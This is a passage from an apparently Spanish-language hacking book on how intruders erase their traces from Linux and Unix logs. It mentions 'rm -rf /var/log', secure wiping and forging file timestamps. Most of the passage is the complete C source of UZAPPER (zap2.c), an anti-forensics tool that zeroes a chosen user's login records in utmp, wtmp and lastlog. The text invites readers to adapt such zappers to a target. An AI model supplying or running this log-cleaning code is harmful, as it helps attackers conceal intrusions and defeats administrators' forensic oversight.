Borrado de rastrosComo ya sabemos, una de las acciones más comunes de un intruso es tratar de borrar
el rastro que dejó en su intrusión. Por eso, si aún no conocemos el sistema de archivos
o registros de Linux que se encuentra en el directorio /var/log o /var/run, es muy
importante que leamos los siguientes textos para comprender exactamente de que se trata:
• Comentarios generales:
www.estrellateyarde.es/so/logs-en-linux.• Características de los logs:
www.psicofxp.com/forums/info-y-manuales.
153/145356-logs-en-linux.html.• Limpieza en Debian:
http://laguaridadelmal.blogspot.com/2007_11_01_archive.
html.Más alla de éstos, existen otros registros como los logs del webserver Apache o
motores de base de datos. También existen diversos sistemas de gestionarlos, ya sea
localmente (asignándoles un path especial con permisos especiales: chattr +a archivo)
o remotamente, alojando los registros o logs en otro servidor de la red.
Ahora bien, el intruso puede borrar sus rastros de muchas formas. La más grotesca
es haciendo un simple rm –rf /var/log, ya que así podrían ser recuperados fácilmente
con técnicas forenses simples. Diferente sería si utilizara una herramienta
de borrado seguro como wipe (
http://wipe.sourceforge.net), pero así despertaría
las sospechas del administrador. Podría hacerlo de manera más sutil si programara
un zapper adecuado al objetivo y al modo de gestionar registros que existe en el
servidor (que puede no estar por defecto). A su vez, debería borrar todos los logs
que éste modificara tras su paso y sólo eliminar las entradas que corresponden a dichas
sesiones. Ni más ni menos, que contemple los usuarios utilizados localmente
y los intentos previos externos. Aun así, si es detallista, deberá retocar a mano algunos
archivos con datos de creación o modificación falsos.
Registros. Archivos de logs en la particion de
Debian 4.0 vistos desde Windows.
Estos scripts son llamados zappers y resultan muy útiles al modificar automáticamente
los logs que se encuentran en el sistema de modo binario y los que están en
texto plano. Veamos, como ejemplo, el código fuente de zap2.c, que sólo saca las
trazas de un usuario en utmp, wtmp y lastlog.
/*=============================================================================
UZAPPER Ver1.00 for Solaris, SunOS, IRIX, Linux, FreeBSD
The Shadow Penguin Security (
http://shadowpenguin.backsection.net)
Written by UNYUN (
unewn4th@usa.net)
=============================================================================
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <utmp.h>
#ifdef UTMAXTYPE
#define UTMPX
#include <utmpx.h>
#endif
#include <pwd.h>
#ifndef _PATH_LASTLOG
#include <lastlog.h>
#endif
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#define SVR4_UTMP “/var/adm/utmp”
#define SVR4_WTMP “/var/adm/wtmp”
#define SVR4_LASTLOG “/var/adm/lastlog”
#define SUNOS4_UTMP “/etc/utmp”
#define SUNOS4_WTMP “/usr/adm/wtmp”
#define SUNOS4_LASTLOG “/usr/adm/lastlog”
#define BSD_UTMP “/var/run/utmp”
#define BSD_WTMP “/var/log/wtmp”
#define BSD_LASTLOG “/var/log/lastlog”
#define MAX_FPATH 512
int wipe_log(path,user,type)
char *path,*user;
int type;
{
struct utmp utmp_ent;
#ifdef UTMPX
struct utmpx utmpx_ent;
#endif
261
void *ent;
char *un;
int sz,fd,c=0;
if (strlen(path)==0) return(1);
if (type==0){
ent=(void *)&utmp_ent;
#ifdef UTMPX
un=(char *)&utmp_ent.ut_user;
#else
un=(char *)&utmp_ent.ut_name;
#endif
sz=sizeof(struct utmp);
}else{
#ifdef UTMPX
ent=(void *)&utmpx_ent;
un=(char *)&utmpx_ent.ut_user;
sz=sizeof(struct utmpx);
#endif
}i
f ((fd=open(path,O_RDWR))<=0) return(-1);
while(read(fd,ent,sz)>0)
if (!strncmp(un,user,strlen(user))){
memset(ent,0,sz);
lseek(fd,-sz,SEEK_CUR);
write(fd,ent,sz);
c++;
}
close(fd);
printf(“Wiped %d entries of %s from %s.\n”,c,user,path);
return(0);
}
int wipe_lastlog(path,user,type)
char *path,*user;
int type;
{
struct passwd *p;
262
struct lastlog ent;
int fd;
char buffer[MAX_FPATH];
if (type==0) strcpy(buffer,path);
else sprintf(buffer,”%s/%s”,path,user);
memset(&ent,0,sizeof(struct lastlog));
if ((p=getpwnam(user))==NULL) return(-1);
if ((fd=open(buffer,O_RDWR))<=0) return(-2);
if (type==0)
lseek(fd,p->pw_uid*sizeof(struct lastlog),SEEK_SET);
write(fd,&ent,sizeof(struct lastlog));
close(fd);
printf(“Wiped %s from %s.\n”,user,path);
return(0);
}
main(argc,argv)
int argc;
char *argv[];
{
char f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];
char f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];
char f_lastlog[MAX_FPATH];
struct utsname utname;
int lastlog_type;
if (argc!=2){
printf(“Usage: %s Usernane\n”,argv[0]);
263
exit(1);
}i
f (getpwnam(argv[1])==NULL){
printf(“Unknown user : %s\n”,argv[1]);
exit(1);
}u
name(&utname);
strcpy(f_wtmpx,””); strcpy(f_utmpx,””);
if (!strcmp(utname.sysname,”SunOS”)){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=0;
#else
strcpy(f_utmp, SUNOS4_UTMP);
strcpy(f_wtmp, SUNOS4_WTMP);
strcpy(f_lastlog, SUNOS4_LASTLOG);
lastlog_type=0;
#endif
}else if (!strcmp(utname.sysname,”Linux”)
|| !strcmp(utname.sysname,”FreeBSD”)){
strcpy(f_utmp, BSD_UTMP);
strcpy(f_wtmp, BSD_WTMP);
strcpy(f_lastlog, BSD_LASTLOG);
}else if (!strcmp(utname.sysname,”IRIX”)){
#ifdef UTMPX
strcpy(f_utmp, SVR4_UTMP);
strcpy(f_wtmp, SVR4_WTMP);
strcpy(f_utmpx, UTMPX_FILE);
strcpy(f_wtmpx, WTMPX_FILE);
strcpy(f_lastlog, SVR4_LASTLOG);
lastlog_type=1;
#else
printf(“Can not wipe. System Unknown.\n”);
#endif
}else
printf(“Can not wipe. System Unknown.\n”);
wipe_log(f_utmp, argv[1],0);
wipe_log(f_utmpx,argv[1],1);
wipe_log(f_wtmp, argv[1],0);
wipe_log(f_wtmpx,argv[1],1);
wipe_lastlog(f_lastlog,argv[1],lastlog_type);
}Si queremos testear más zappers o ver su código para adecuarlo a un objetivo y hacer
las pruebas necesarias para protegernos mejor, podemos buscar palabras clave como
log cleaners o log zappers en
www.packetstormsecurity.org y
www.google.com.